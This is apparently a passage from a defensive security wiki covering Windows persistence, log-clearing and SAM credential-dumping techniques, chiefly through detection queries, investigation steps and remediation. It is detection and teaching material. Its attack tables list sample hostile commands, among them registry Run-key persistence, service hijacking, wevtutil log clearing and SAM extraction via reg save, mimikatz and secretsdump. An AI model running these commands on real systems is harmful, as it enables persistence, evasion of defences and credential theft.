> For the complete documentation index, see [llms.txt](https://0xmedhat.gitbook.io/whoami/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://0xmedhat.gitbook.io/whoami/attacks-and-detections/part-3.md).

# part 3

## 🚨 **Modify Registry**

### 🔍 **1. Attack Breakdown**

#### 📝 **What is Registry Modification?**

* The **Windows Registry** is a hierarchical database used to store **system settings, application configurations, and user preferences**.
* **Attackers often modify the registry** to:
  * **Establish Persistence:** Ensure malware executes at startup.
  * **Disable Security Controls:** Turn off antivirus or logging.
  * **Configure Malware Behavior:** Adjust system or application settings for malicious purposes.
  * **Hide Artifacts:** Conceal malicious files or processes.

***

#### 📑 **Why Attackers Use Registry Modifications?**

* **Persistence:** Malware can auto-start on system boot.
* **Stealth:** Changes are often hard to detect without monitoring.
* **Control:** Modify system behavior for exploitation.
* **Fileless Attacks:** Execute scripts directly from the registry.

#### 📌 **Common Registry Keys Abused by Attackers**

| **Key**                                                            | **Purpose**                    | **Example Command**                                                               |
| ------------------------------------------------------------------ | ------------------------------ | --------------------------------------------------------------------------------- |
| `HKCU\Software\Microsoft\Windows\CurrentVersion\Run`               | Persistence via user login     | `reg add "HKCU\...\Run" /v Malware /t REG_SZ /d "C:\malicious.exe"`               |
| `HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell` | Replace shell for persistence  | `reg add "HKLM\...\Winlogon" /v Shell /t REG_SZ /d "explorer.exe, malicious.exe"` |
| `HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System`   | Disable Task Manager           | `reg add "HKCU\...\Policies\System" /v DisableTaskMgr /t REG_DWORD /d 1`          |
| `HKLM\SYSTEM\CurrentControlSet\Services`                           | Modify service behavior        | `reg add "HKLM\...\Services" /v ImagePath /t REG_EXPAND_SZ /d "C:\malicious.exe"` |
| `HKCU\Software\Classes\mscfile\shell\open\command`                 | Hijack MSC files for execution | `reg add "HKCU\...\open\command" /d "malicious.exe"`                              |

***

#### 🛡️ **2. Detection Techniques**

#### 📊 **Manual Detection via PowerShell**

**🕵️ List Startup Entries in Registry:**

```powershell
Get-ItemProperty -Path "HKCU:\Software\Microsoft\Windows\CurrentVersion\Run"
Get-ItemProperty -Path "HKLM:\Software\Microsoft\Windows\CurrentVersion\Run"
```

**🕵️ Search for Suspicious Keys:**

```powershell
Get-ChildItem -Path "HKCU:\Software\Microsoft\Windows\CurrentVersion\Run" -Recurse
Get-ChildItem -Path "HKLM:\Software\Microsoft\Windows NT\CurrentVersion\Winlogon"
```

**🕵️ Check Disabled Security Settings:**

```powershell
Get-ItemProperty -Path "HKLM:\SOFTWARE\Microsoft\Windows Defender" | Select-Object DisableAntiSpyware
```

***

#### 📊 **Microsoft Defender for Endpoint (MDE) Query (KQL)**

**🕵️ Detect Registry Modifications:**

```kusto
DeviceRegistryEvents
| where ActionType == "RegistryValueSet"
| where RegistryKey contains "Run" or RegistryKey contains "Winlogon"
| project Timestamp, DeviceName, RegistryKey, RegistryValueName, RegistryValueData, AccountName
```

**🕵️ Identify Security Settings Disabled:**

```kusto
DeviceRegistryEvents
| where RegistryKey contains "Windows Defender"
| where RegistryValueName in ("DisableAntiSpyware", "DisableRealtimeMonitoring")
| where RegistryValueData == "1"
| project Timestamp, DeviceName, RegistryKey, RegistryValueName, RegistryValueData
```

**🕵️ Persistence via Registry:**

```kusto
DeviceRegistryEvents
| where RegistryKey contains "Run" or RegistryKey contains "RunOnce"
| where RegistryValueData contains ".exe"
| project Timestamp, DeviceName, RegistryKey, RegistryValueData, AccountName
```

**🕵️ Look for Fileless Execution:**

```kusto
DeviceRegistryEvents
| where RegistryValueData contains "powershell" or RegistryValueData contains "cmd.exe"
| project Timestamp, DeviceName, RegistryKey, RegistryValueData, AccountName
```

**🕵️ Track Registry Key Creation:**

```kusto
DeviceRegistryEvents
| where ActionType == "RegistryKeyCreated"
| where RegistryKey contains "Software\\Microsoft\\Windows\\CurrentVersion\\Run"
| project Timestamp, DeviceName, RegistryKey, AccountName
```

***

#### 📊 **Event Viewer Logs**

* **Event ID 4657:** Registry Value Modification
* **Event ID 4663:** Object Access Attempt
* **Event ID 4688:** Process Creation

**📌 Focus on These Indicators:**

* **Processes Making Changes:** `powershell.exe`, `cmd.exe`, `reg.exe`, `regedit.exe`
* **Suspicious Paths:** `HKCU:\...\Run`, `HKLM:\...\Winlogon`, `HKCU:\...\Policies`
* **New or Modified Keys:** Look for `.exe`, `.bat`, `.vbs` references in key values.

***

### 🕵️ **3. Investigation Techniques**

#### 1️⃣ **Identify Processes Making Registry Changes**

```powershell
Get-WinEvent -FilterHashtable @{LogName='Security'; Id=4657} | Select-Object TimeCreated, Message
```

***

#### 2️⃣ **Trace Suspicious Registry Values**

* Investigate recent changes in critical registry paths:

```powershell
Get-ChildItem -Path "HKLM:\Software\Microsoft\Windows\CurrentVersion\Run" | Select-Object Name, Value
```

***

#### 3️⃣ **Look for Fileless Malware**

* Check registry keys for encoded scripts:

```powershell
Get-ChildItem -Path "HKCU:\Software" -Recurse | Where-Object { $_.Value -match "powershell" -or $_.Value -match "cmd.exe" }
```

***

#### 4️⃣ **Correlate with Process Execution**

* Cross-reference with processes using **Event ID 4688**.

***

### 🔧 **4. Remediation Steps**

#### 📌 **1. Identify and Remove Malicious Registry Keys**

```powershell
Remove-ItemProperty -Path "HKCU:\Software\Microsoft\Windows\CurrentVersion\Run" -Name "MaliciousKey"
```

#### 📌 **2. Restore Default Security Settings**

```powershell
Set-ItemProperty -Path "HKLM:\SOFTWARE\Microsoft\Windows Defender" -Name DisableAntiSpyware -Value 0
```

#### 📌 **3. Terminate Related Processes**

```powershell
Stop-Process -Name "powershell" -Force
```

#### 📌 **4. Quarantine Malicious Files**

```powershell
Move-Item -Path "C:\Temp\malicious.exe" -Destination "C:\Quarantine"
```

#### 📌 **5. Perform Full Antivirus Scan**

```powershell
Start-MpScan -ScanType FullScan
```

***

### 🛡️ **5. Prevention Steps**

1. **Enable Registry Auditing:**
   * Configure auditing for sensitive registry paths.
2. **Use Attack Surface Reduction (ASR) Rules:**

```powershell
Set-MpPreference -AttackSurfaceReductionRules_Ids D4F940AB-401B-4EFC-AADC-AD5F3C50688A -AttackSurfaceReductionRules_Actions Enabled
```

3. **Disable Unused Registry Tools:**
   * Restrict access to `reg.exe` and `regedit.exe` for non-admin users.
4. **Enable Tamper Protection in Defender:**

```powershell
Set-MpPreference -DisableTamperProtection $false
```

5. **Educate Users:**
   * Train users to recognize social engineering attacks leading to registry modifications.

***

### 🧠 **6. Key Takeaways**

* **Persistence is Key:** Monitor startup and Winlogon registry keys.
* **Disable Known Attack Paths:** Prevent scripts from running via registry.
* **Real-Time Alerts:** Monitor changes to sensitive keys (`Run`, `Winlogon`).
* **Registry Auditing:** Enable Event IDs **4657**, **4688**, and **4663**.

***

## 🚨 **Boot or Logon Autostart Execution: Shortcut Modification**

### 🔍 **1. Attack Breakdown**

#### 📝 **What is Shortcut Modification Attack?**

* **Shortcut Modification** involves altering **Windows shortcut files (.lnk)** to execute malicious commands or scripts during **boot** or **user logon**.
* Attackers modify shortcut targets to execute **malicious payloads** instead of their original programs.

#### 📑 **Why Attackers Use Shortcut Modification?**

* **Persistence:** Ensures malicious code runs at every system boot or user logon.
* **Stealth:** Modified shortcuts appear legitimate to unsuspecting users.
* **Execution Without Alerts:** Often bypasses security tools that monitor startup keys.
* **User Trust:** Users are more likely to trust familiar application shortcuts.

***

#### 📌 **Common Shortcut Modification Techniques**

| **Technique**                   | **Example Command**                                                                                                    | **Purpose**                                              |
| ------------------------------- | ---------------------------------------------------------------------------------------------------------------------- | -------------------------------------------------------- |
| **Startup Folder Modification** | `echo [malicious command] > C:\Users\<User>\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\example.lnk` | Run malware at user logon                                |
| **Modify Desktop Shortcuts**    | `powershell -Command "Start-Process calc.exe"`                                                                         | Replace target of a common shortcut                      |
| **Modify Taskbar Shortcuts**    | `C:\Windows\System32\cmd.exe /c malicious.exe`                                                                         | Hijack taskbar or pinned shortcut                        |
| **LNK File Injection**          | `copy malicious.lnk C:\Users\<User>\Start Menu\Programs\Startup\`                                                      | Inject malicious shortcut                                |
| **Path Hijacking via Shortcut** | `C:\Windows\System32\cmd.exe /k "C:\Temp\payload.exe"`                                                                 | Execute malicious binary instead of the original program |

***

#### 🛡️ **2. Detection Techniques**

#### 📊 **Manual Inspection**

**🕵️ Check Startup Folder for Suspicious Shortcuts:**

```powershell
سخ الكودGet-ChildItem -Path "C:\Users\*\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup" -Filter "*.lnk" | Select-Object Name, LastWriteTime
```

**🕵️ Check Shortcut Target Paths:**

```powershell
(Get-Item "C:\Users\<User>\Desktop\example.lnk").TargetPath
```

**🕵️ Check for Suspicious Commands in Shortcuts:**

```powershell
(Get-Item "C:\Users\<User>\Desktop\example.lnk").Arguments
```

**🕵️ Identify Modified Shortcuts:**

```powershell
Get-ChildItem -Path "C:\Users\*\Desktop" -Filter "*.lnk" | Select-Object Name, LastWriteTime
```

***

#### 📊 **Microsoft Defender for Endpoint (MDE) Query (KQL)**

**🕵️ Detect Shortcut Modifications in Startup Folders:**

```kusto
DeviceFileEvents
| where FolderPath contains "Startup"
| where FileName endswith ".lnk"
| where ActionType in ("FileCreated", "FileModified")
| project Timestamp, DeviceName, FileName, FolderPath, InitiatingProcessFileName, AccountName
```

**🕵️ Identify Suspicious Shortcut Arguments:**

```kusto
DeviceFileEvents
| where FileName endswith ".lnk"
| where InitiatingProcessCommandLine contains "cmd.exe" or InitiatingProcessCommandLine contains "powershell.exe"
| project Timestamp, DeviceName, FileName, InitiatingProcessCommandLine, AccountName
```

**🕵️ Monitor Common Hijacked Paths:**

```kusto
DeviceFileEvents
| where FolderPath contains "Desktop" or FolderPath contains "Start Menu"
| where FileName endswith ".lnk"
| where InitiatingProcessFileName in ("cmd.exe", "powershell.exe")
| project Timestamp, DeviceName, FileName, FolderPath, ProcessCommandLine, AccountName
```

**🕵️ Check Persistence via Modified Shortcuts:**

```kusto
DeviceRegistryEvents
| where RegistryKey contains "Run"
| where RegistryValueData contains ".lnk"
| project Timestamp, DeviceName, RegistryKey, RegistryValueData, AccountName
```

***

#### 📊 **Event Viewer Logs**

* **Event ID 4663:** Object Access Attempt
* **Event ID 4688:** Process Creation
* **Event ID 4670:** Permissions on an Object Were Changed

**🕵️ Filter Suspicious Activities in Event Viewer:**

* Open **Event Viewer → Security → Filter by Event ID 4688**
* Look for:
  * **FileName:** `.lnk`
  * **InitiatingProcess:** `cmd.exe`, `powershell.exe`

***

### 🕵️ **3. Investigation Techniques**

#### 1️⃣ **Analyze Shortcut Target Paths**

```powershell
(Get-Item "C:\Users\<User>\Desktop\suspicious.lnk").TargetPath
```

#### 2️⃣ **Trace Parent Processes**

* Check what triggered the creation or modification of the shortcut:

```powershell
Get-CimInstance Win32_Process | Where-Object { $_.CommandLine -match ".lnk" }
```

#### 3️⃣ **Check for Suspicious Files in Startup Folders**

```powershell
Get-ChildItem -Path "C:\Users\<User>\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup" -Filter "*.lnk"
```

#### 4️⃣ **Review Recently Modified Shortcuts**

* Check recent changes in shortcut files:

```powershell
Get-ChildItem -Path "C:\Users\*\Desktop" -Filter "*.lnk" | Where-Object { $_.LastWriteTime -gt (Get-Date).AddDays(-7) }
```

#### 5️⃣ **Inspect Registry Keys**

* Look for `.lnk` references in **Run** keys:

```powershell
Get-ItemProperty -Path "HKCU:\Software\Microsoft\Windows\CurrentVersion\Run"
```

***

### 🔧 **4. Remediation Steps**

#### 📌 **1. Remove Malicious Shortcuts**

```powershell
Remove-Item -Path "C:\Users\<User>\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\suspicious.lnk"
```

#### 📌 **2. Quarantine Malicious Payloads**

```powershell
Move-Item -Path "C:\Temp\malware.exe" -Destination "C:\Quarantine"
```

#### 📌 **3. Remove Registry Persistence**

```powershell
Remove-ItemProperty -Path "HKCU:\Software\Microsoft\Windows\CurrentVersion\Run" -Name "MaliciousKey"
```

#### 📌 **4. Terminate Malicious Processes**

```powershell
Stop-Process -Name "cmd" -Force
Stop-Process -Name "powershell" -Force
```

#### 📌 **5. Perform Full Antivirus Scan**

```powershell
Start-MpScan -ScanType FullScan
```

***

### 🛡️ **5. Prevention Steps**

1. **Enable Attack Surface Reduction (ASR) Rules:**

```powershell
Set-MpPreference -AttackSurfaceReductionRules_Ids D4F940AB-401B-4EFC-AADC-AD5F3C50688A -AttackSurfaceReductionRules_Actions Enabled
```

2. **Restrict Write Access to Startup Folders:**

* Limit permissions on `C:\Users\<User>\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup`.

3. **Audit Shortcut Modifications:**

* Enable auditing for `.lnk` file changes.

4. **Disable Auto-Execution from Startup Folder:**

* Block execution of scripts from `Startup` via **Group Policy**.

5. **Educate Users:**

* Train users to avoid clicking on `.lnk` files from untrusted sources.

***

### 🧠 **6. Key Takeaways**

* **Monitor Shortcut Modifications:** Watch `.lnk` files in `Startup` and `Desktop`.
* **Audit Key Paths:** Regularly review `Startup` and `Run` registry keys.
* **Analyze Shortcut Targets:** Investigate modified `.lnk` file targets.
* **Focus on Persistence Mechanisms:** Pay attention to `cmd.exe`, `powershell.exe`, and suspicious arguments.

***

## 🚨 **Masquerade Task or Service**

### 🔍 **1. Attack Breakdown**

#### 📝 **What is Task or Service Masquerading?**

* **Masquerading** occurs when an attacker **disguises a malicious scheduled task or Windows service** to appear **legitimate**.
* Attackers often name tasks or services similar to **system processes** (e.g., `svchost.exe`, `explorer.exe`) to avoid detection.

#### 📑 **Why Attackers Use Task or Service Masquerading?**

* **Persistence:** Ensures malware or malicious scripts run automatically on startup.
* **Stealth:** Mimics legitimate services or tasks to evade detection.
* **Privilege Escalation:** May run tasks/services with elevated privileges.
* **Reduces Suspicion:** Security teams might overlook familiar-looking names.

***

#### 📌 **Common Techniques**

| **Technique**                             | **Example Command**                                                                           | **Purpose**                          |
| ----------------------------------------- | --------------------------------------------------------------------------------------------- | ------------------------------------ |
| **Scheduled Task Masquerade**             | `schtasks /create /tn "Windows Update" /tr C:\Temp\malware.exe /sc daily /ru SYSTEM`          | Create a disguised scheduled task    |
| **Service Creation with Masquerade Name** | `sc create WindowsUpdate type= own start= auto binPath= "C:\Temp\malware.exe"`                | Create a fake Windows Update service |
| **Modify Existing Services**              | `sc config TrustedInstaller binPath= "C:\Temp\malware.exe"`                                   | Hijack legitimate services           |
| **Hidden Tasks**                          | `schtasks /create /tn "Windows Security" /tr powershell.exe -enc ZWNobyBoZWxsbyA= /sc minute` | Create hidden tasks                  |
| **Fake Parent Process**                   | `cmd.exe /c start svchost.exe -k netsvcs`                                                     | Mimic a legitimate process           |

***

### 🛡️ **2. Detection Techniques**

#### 📊 **Manual Inspection**

**🕵️ List Scheduled Tasks**

```powershell
سخ الكودGet-ScheduledTask | Where-Object { $_.TaskPath -like "*Windows*" } | Select-Object TaskName, TaskPath, State
```

**🕵️ Inspect Task Command Lines**

```powershell
Get-ScheduledTaskInfo -TaskName "Windows Update"
```

**🕵️ List All Windows Services**

```powershell
Get-Service | Where-Object { $_.StartType -eq "Automatic" } | Select-Object Name, DisplayName, StartType, Status
```

**🕵️ Inspect Service Configurations**

```powershell
Get-WmiObject Win32_Service | Select-Object Name, DisplayName, PathName, StartMode
```

**🕵️ Find Unusual Paths in Service Binaries**

```powershell
Get-WmiObject Win32_Service | Where-Object { $_.PathName -notlike "*system32*" } | Select-Object Name, PathName
```

***

#### 📊 **Microsoft Defender for Endpoint (MDE) Query (KQL)**

**🕵️ Detect Suspicious Scheduled Tasks**

```kusto
DeviceProcessEvents
| where FileName == "schtasks.exe"
| where ProcessCommandLine contains "/create"
| where ProcessCommandLine contains "Windows Update" or ProcessCommandLine contains "Security"
| project Timestamp, DeviceName, ProcessCommandLine, AccountName
```

**🕵️ Identify Suspicious Services Created or Modified**

```kusto
DeviceProcessEvents
| where FileName == "sc.exe"
| where ProcessCommandLine contains "create" or ProcessCommandLine contains "config"
| where ProcessCommandLine contains "svchost" or ProcessCommandLine contains "update"
| project Timestamp, DeviceName, ProcessCommandLine, AccountName
```

**🕵️ Find Services with Non-Standard Binary Paths**

```kusto
DeviceRegistryEvents
| where RegistryKey contains "SYSTEM\\CurrentControlSet\\Services"
| where RegistryValueData !contains "C:\\Windows\\System32"
| project Timestamp, DeviceName, RegistryKey, RegistryValueData, AccountName
```

**🕵️ Look for Tasks Executing from Suspicious Paths**

```kusto
DeviceFileEvents
| where FolderPath contains "Temp" or FolderPath contains "AppData"
| where FileName endswith ".exe"
| project Timestamp, DeviceName, FolderPath, FileName, InitiatingProcessCommandLine
```

***

#### 📊 **Event Viewer Logs**

| **Event ID** | **Description**                           |
| ------------ | ----------------------------------------- |
| **4697**     | A service was installed in the system     |
| **4698**     | A scheduled task was created              |
| **4702**     | A scheduled task was updated              |
| **7045**     | A new service was installed on the system |

**📌 Focus on These Indicators:**

* **Service Name:** Generic or misleading names (`WindowsUpdate`, `SecurityService`)
* **Scheduled Task Names:** Mimic system tasks (`Windows Defender Update`, `Security Scan`)
* **Paths:** Non-standard paths like `C:\Temp\malware.exe`

***

### 🕵️ **3. Investigation Techniques**

#### 1️⃣ **Review Scheduled Task Details**

* Inspect task triggers and command lines:

```powershell
schtasks /query /tn "Windows Update" /v /fo LIST
```

#### 2️⃣ **Inspect Service Binary Paths**

* Verify the service path and startup type:

```powershell
sc qc WindowsUpdate
```

#### 3️⃣ **Trace Parent Processes**

* Identify the parent process for suspicious tasks:

```powershell
Get-CimInstance Win32_Process | Where-Object { $_.ParentProcessId -eq <PID> }
```

#### 4️⃣ **Validate File Hashes**

* Check binaries used by tasks and services:

```powershell
Get-FileHash "C:\Temp\malware.exe"
```

#### 5️⃣ **Check Registry for Service Entries**

* Review suspicious registry keys:

```powershell
reg query "HKLM\SYSTEM\CurrentControlSet\Services"
```

***

### 🔧 **4. Remediation Steps**

#### 📌 **1. Disable and Remove Malicious Tasks**

```powershell
schtasks /delete /tn "Windows Update" /f
```

#### 📌 **2. Stop and Delete Malicious Services**

```powershell
sc stop WindowsUpdate
sc delete WindowsUpdate
```

#### 📌 **3. Remove Registry Entries**

```powershell
Remove-Item -Path "HKLM:\SYSTEM\CurrentControlSet\Services\WindowsUpdate" -Force
```

#### 📌 **4. Quarantine Malicious Files**

```powershell
Move-Item -Path "C:\Temp\malware.exe" -Destination "C:\Quarantine"
```

#### 📌 **5. Perform Full Antivirus Scan**

```powershell
Start-MpScan -ScanType FullScan
```

***

### 🛡️ **5. Prevention Steps**

1. **Enable Task and Service Auditing:**
   * Enable **Event IDs 4697, 4698, 4702, and 7045**.
2. **Restrict Service and Task Creation:**
   * Use **Group Policy** to limit non-admin task and service creation.
3. **Monitor Common Abuse Binaries:**
   * Tools like `schtasks.exe`, `sc.exe`, and `powershell.exe`.
4. **Enable Attack Surface Reduction (ASR) Rules:**

```powershell
Set-MpPreference -AttackSurfaceReductionRules_Ids D4F940AB-401B-4EFC-AADC-AD5F3C50688A -AttackSurfaceReductionRules_Actions Enabled
```

5. **Audit Non-Standard Paths:**
   * Services running from `C:\Temp`, `C:\Users`, or `C:\ProgramData`.
6. **Implement Least Privilege Access:**
   * Restrict administrative privileges for regular users.
7. **Educate Users:**
   * Train users to recognize suspicious behavior and report anomalies.

***

### 🧠 **6. Key Takeaways**

* **Persistence Tactics:** Scheduled tasks and services are common attack vectors.
* **Mimicry is Key:** Attackers use misleading names to avoid detection.
* **Auditing is Essential:** Monitor task and service creations using Event Logs and Defender telemetry.
* **Focus on Execution Paths:** Legitimate tasks and services rarely use `Temp` or `AppData`.

***

## 🚨 **Indicator Removal on Host: Advanced Threat Analysis**

### 🔍 **1. Attack Breakdown**

#### 📝 **What is Indicator Removal on Host?**

* **Indicator Removal on Host** is an adversarial tactic used to **erase traces of malicious activity** from a compromised system.
* Attackers remove **logs, files, registry entries, scheduled tasks, and artifacts** that could reveal their presence or actions.

#### 📑 **Why Attackers Remove Indicators?**

* **Evade Detection:** Hide traces of malicious activity from security teams and tools.
* **Persistence:** Make it harder for incident responders to fully remediate the breach.
* **Delay Investigation:** Obscure root cause analysis and delay detection timelines.
* **Cover Tracks:** Prevent linking the attacker to the activity.

***

#### 📌 **Common Techniques for Indicator Removal**

| **Technique**                | **Description**                        | **Example Command**                                                              |
| ---------------------------- | -------------------------------------- | -------------------------------------------------------------------------------- |
| **Delete Event Logs**        | Erase Windows event logs               | `wevtutil cl Security`                                                           |
| **Clear PowerShell History** | Remove traces from command history     | `Remove-Item (Get-PSReadlineOption).HistorySavePath`                             |
| **Delete Files/Artifacts**   | Remove malware payloads or logs        | `del C:\Temp\malicious.exe`                                                      |
| **Remove Registry Entries**  | Clean persistence artifacts            | `reg delete HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v MalwareKey /f` |
| **Disable Logging**          | Temporarily stop event logging         | `wevtutil sl Security /e:false`                                                  |
| **Self-Delete Script**       | Malware deletes itself after execution | `cmd.exe /c timeout 5 && del %~f0`                                               |

***

#### 🛡️ **2. Detection Techniques**

#### 📊 **Manual Inspection**

**🕵️ Check for Cleared Event Logs**

```powershell
wevtutil qe Security /c:10 /f:text
```

* Look for abrupt log gaps or absence of expected events.

**🕵️ Inspect PowerShell Command History**

```powershell
(Get-PSReadlineOption).HistorySavePath
Get-Content (Get-PSReadlineOption).HistorySavePath
```

* Look for unusual deletions or clearing commands.

**🕵️ Check System Logs for Clearing Commands**

```powershell
Get-WinEvent -LogName Security | Where-Object { $_.Message -like "*wevtutil cl*" }
```

**🕵️ Search for Recent File Deletions**

```powershell
Get-ChildItem -Path "C:\Temp" -Recurse | Where-Object { $_.LastWriteTime -gt (Get-Date).AddHours(-24) }
```

**🕵️ Check Registry Modifications**

```powershell
Get-ChildItem -Path "HKCU:\Software\Microsoft\Windows\CurrentVersion\Run" -Recurse
```

***

#### 📊 **Microsoft Defender for Endpoint (MDE) Query (KQL)**

**🕵️ Detect Log Clearing Commands**

```kusto
DeviceProcessEvents
| where FileName in~ ("wevtutil.exe", "powershell.exe", "cmd.exe")
| where ProcessCommandLine contains "wevtutil cl" or ProcessCommandLine contains "Clear-EventLog"
| project Timestamp, DeviceName, ProcessCommandLine, AccountName
```

**🕵️ Detect PowerShell History Manipulation**

```kusto
DeviceFileEvents
| where FolderPath contains "C:\\Users\\*\\AppData\\Roaming\\Microsoft\\Windows\\PowerShell"
| where FileName contains "ConsoleHost_history.txt"
| where ActionType in ("FileDeleted", "FileModified")
| project Timestamp, DeviceName, FileName, FolderPath, AccountName
```

**🕵️ Identify Deleted Files and Artifacts**

```kusto
DeviceFileEvents
| where ActionType == "FileDeleted"
| where FolderPath contains "Temp" or FolderPath contains "AppData"
| project Timestamp, DeviceName, FileName, FolderPath, AccountName
```

**🕵️ Detect Service or Task Deletion**

```kusto
DeviceProcessEvents
| where FileName == "sc.exe" or FileName == "schtasks.exe"
| where ProcessCommandLine contains "delete"
| project Timestamp, DeviceName, ProcessCommandLine, AccountName
```

**🕵️ Registry Cleanup Attempts**

```kusto
DeviceRegistryEvents
| where ActionType == "RegistryValueDeleted"
| where RegistryKey contains "Run"
| project Timestamp, DeviceName, RegistryKey, AccountName
```

***

#### 📊 **Event Viewer Logs**

| **Event ID** | **Description**             |
| ------------ | --------------------------- |
| **1102**     | The audit log was cleared   |
| **4688**     | A new process was created   |
| **4657**     | Registry value modification |
| **4663**     | Object access attempt       |

**📌 Focus on Event ID 1102 (Audit Log Cleared)**

* Open **Event Viewer → Windows Logs → Security**
* Look for sudden clearing of logs.

**📌 Monitor for Suspicious Processes (Event ID 4688)**

* Look for commands using `wevtutil`, `del`, `Remove-Item`, or `reg delete`.

***

### 🕵️ **3. Investigation Techniques**

#### 1️⃣ **Trace Log Clearing Activities**

* Identify the account and source IP involved:

```powershell
Get-WinEvent -FilterHashtable @{LogName='Security'; Id=1102}
```

#### 2️⃣ **Correlate Deleted Files with Processes**

* Investigate who and what deleted files:

```powershell
Get-WinEvent -FilterHashtable @{LogName='Security'; Id=4663}
```

#### 3️⃣ **Review Command History**

* Check recent command history:

```powershell
Get-Content (Get-PSReadlineOption).HistorySavePath) | Select-String "wevtutil|Clear-EventLog|Remove-Item"
```

#### 4️⃣ **Inspect Registry for Evidence**

* Identify modified or deleted registry keys:

```powershell
Get-ItemProperty -Path "HKCU:\Software\Microsoft\Windows\CurrentVersion\Run"
```

#### 5️⃣ **Cross-Reference File Hashes**

* Validate hash integrity:

```powershell
Get-FileHash "C:\Temp\payload.exe"
```

***

### 🔧 **4. Remediation Steps**

#### 📌 **1. Restart Event Logging**

```powershell
wevtutil sl Security /e:true
```

#### 📌 **2. Restore Logs from Backup**

* Restore event logs if backups are available.

#### 📌 **3. Investigate Deleted Files and Artifacts**

* Use forensic tools like **Recuva** or **FTK Imager** to recover deleted files.

#### 📌 **4. Remove Malicious Registry Entries**

```powershell
Remove-ItemProperty -Path "HKCU:\Software\Microsoft\Windows\CurrentVersion\Run" -Name "MaliciousKey"
```

#### 📌 **5. Quarantine Suspicious Files**

```powershell
Move-Item -Path "C:\Temp\malware.exe" -Destination "C:\Quarantine"
```

#### 📌 **6. Perform Full Antivirus Scan**

```powershell
Start-MpScan -ScanType FullScan
```

***

### 🛡️ **5. Prevention Steps**

1. **Enable Security Auditing:**
   * Ensure **Event ID 1102, 4688, 4663** are enabled.
2. **Enable Tamper Protection:**

```powershell
Set-MpPreference -DisableTamperProtection $false
```

3. **Monitor Log Clearing Tools:**
   * Watch for `wevtutil`, `Clear-EventLog`, `Remove-Item`.
4. **Restrict Admin Privileges:**
   * Prevent unauthorized users from clearing logs or modifying the registry.
5. **Implement Attack Surface Reduction (ASR) Rules:**

```powershell
Set-MpPreference -AttackSurfaceReductionRules_Ids D4F940AB-401B-4EFC-AADC-AD5F3C50688A -AttackSurfaceReductionRules_Actions Enabled
```

6. **Disable Command History Clearing:**
   * Enforce retention policies for command history.
7. **Regular Backups:**
   * Periodically back up event logs and critical system data.

***

### 🧠 **6. Key Takeaways**

* **Monitor Event Log Clearing:** Event ID **1102** is critical.
* **File Deletions Are a Red Flag:** Especially in `Temp` or `AppData`.
* **Audit Critical Registry Keys:** Monitor `Run` and `RunOnce` entries.
* **Prevent Tampering:** Enable **Windows Defender Tamper Protection**.

***

## 🚨 **OS Credential Dumping: Security Account Manager (SAM)**

### 🔍 **1. Attack Breakdown**

#### 📝 **What is SAM Credential Dumping?**

* **Security Account Manager (SAM)** is a **Windows database file** that stores **local account credentials (NTLM and LM hashes)**.
* **Credential dumping** involves extracting these hashes to **escalate privileges**, **move laterally**, or **crack passwords offline**.

#### 📑 **Why Attackers Use SAM Credential Dumping?**

* **Access Local Accounts:** Gain access to local administrator accounts.
* **Privilege Escalation:** Use compromised accounts for elevated permissions.
* **Offline Hash Cracking:** Crack NTLM hashes without alerting security systems.
* **Persistence:** Use stolen hashes for **Pass-the-Hash (PtH)** attacks.

#### 📌 **Common Methods for SAM Credential Dumping**

| **Technique**                          | **Tool/Command Example**              | **Description**                                |
| -------------------------------------- | ------------------------------------- | ---------------------------------------------- |
| **Local Copy of SAM and SYSTEM Files** | `copy C:\Windows\System32\config\SAM` | Copy SAM and SYSTEM files for offline analysis |
| **Mimikatz SAM Module**                | `lsadump::sam`                        | Dump SAM hashes directly from memory           |
| **Reg Save Method**                    | `reg save HKLM\SAM C:\Temp\sam.save`  | Export SAM hive via the registry               |
| **Volume Shadow Copy**                 | `vssadmin create shadow /for=C:`      | Access SAM via shadow copies                   |
| **Impacket (secretsdump.py)**          | `secretsdump.py Administrator@IP`     | Dump SAM hashes remotely                       |

***

### 🛡️ **2. Detection Techniques**

#### 📊 **Manual Inspection with PowerShell**

**🕵️ Look for Suspicious Access to SAM Registry Hive**

```powershell
Get-EventLog -LogName Security -InstanceId 4663 | Where-Object { $_.Message -like "*SAM*" }
```

**🕵️ Monitor Registry Export Commands**

```powershell
Get-WinEvent -FilterHashtable @{LogName='Security'; Id=4688} | Where-Object { $_.Message -like "*reg save HKLM\SAM*" }
```

**🕵️ Identify Shadow Copy Abuse**

```powershell
vssadmin list shadows
```

***

#### 📊 **Microsoft Defender for Endpoint (MDE) Query (KQL)**

**🕵️ Detect Access to SAM Files**

```kusto
DeviceFileEvents
| where FileName in ("SAM", "SYSTEM")
| where FolderPath contains "Windows\\System32\\config"
| where ActionType == "FileAccessed"
| project Timestamp, DeviceName, FileName, FolderPath, AccountName, InitiatingProcessFileName
```

**🕵️ Detect Registry Hive Export (reg save HKLM\SAM)**

```kusto
DeviceProcessEvents
| where FileName == "reg.exe"
| where ProcessCommandLine contains "save"
| where ProcessCommandLine contains "SAM"
| project Timestamp, DeviceName, ProcessCommandLine, AccountName
```

**🕵️ Detect Shadow Copy Abuse**

```kusto
DeviceProcessEvents
| where FileName == "vssadmin.exe"
| where ProcessCommandLine contains "create shadow"
| project Timestamp, DeviceName, ProcessCommandLine, AccountName
```

**🕵️ Identify Mimikatz Execution**

```kusto
DeviceProcessEvents
| where FileName contains "mimikatz.exe" or ProcessCommandLine contains "lsadump::sam"
| project Timestamp, DeviceName, ProcessCommandLine, AccountName
```

**🕵️ Remote SAM Dumping with Impacket**

```kusto
DeviceNetworkEvents
| where RemoteIP != "127.0.0.1"
| where InitiatingProcessCommandLine contains "secretsdump.py"
| project Timestamp, DeviceName, RemoteIP, InitiatingProcessCommandLine
```

***

#### 📊 **Event Viewer Logs**

| **Event ID** | **Description**                                              |
| ------------ | ------------------------------------------------------------ |
| **4663**     | An attempt was made to access an object (SAM file access).   |
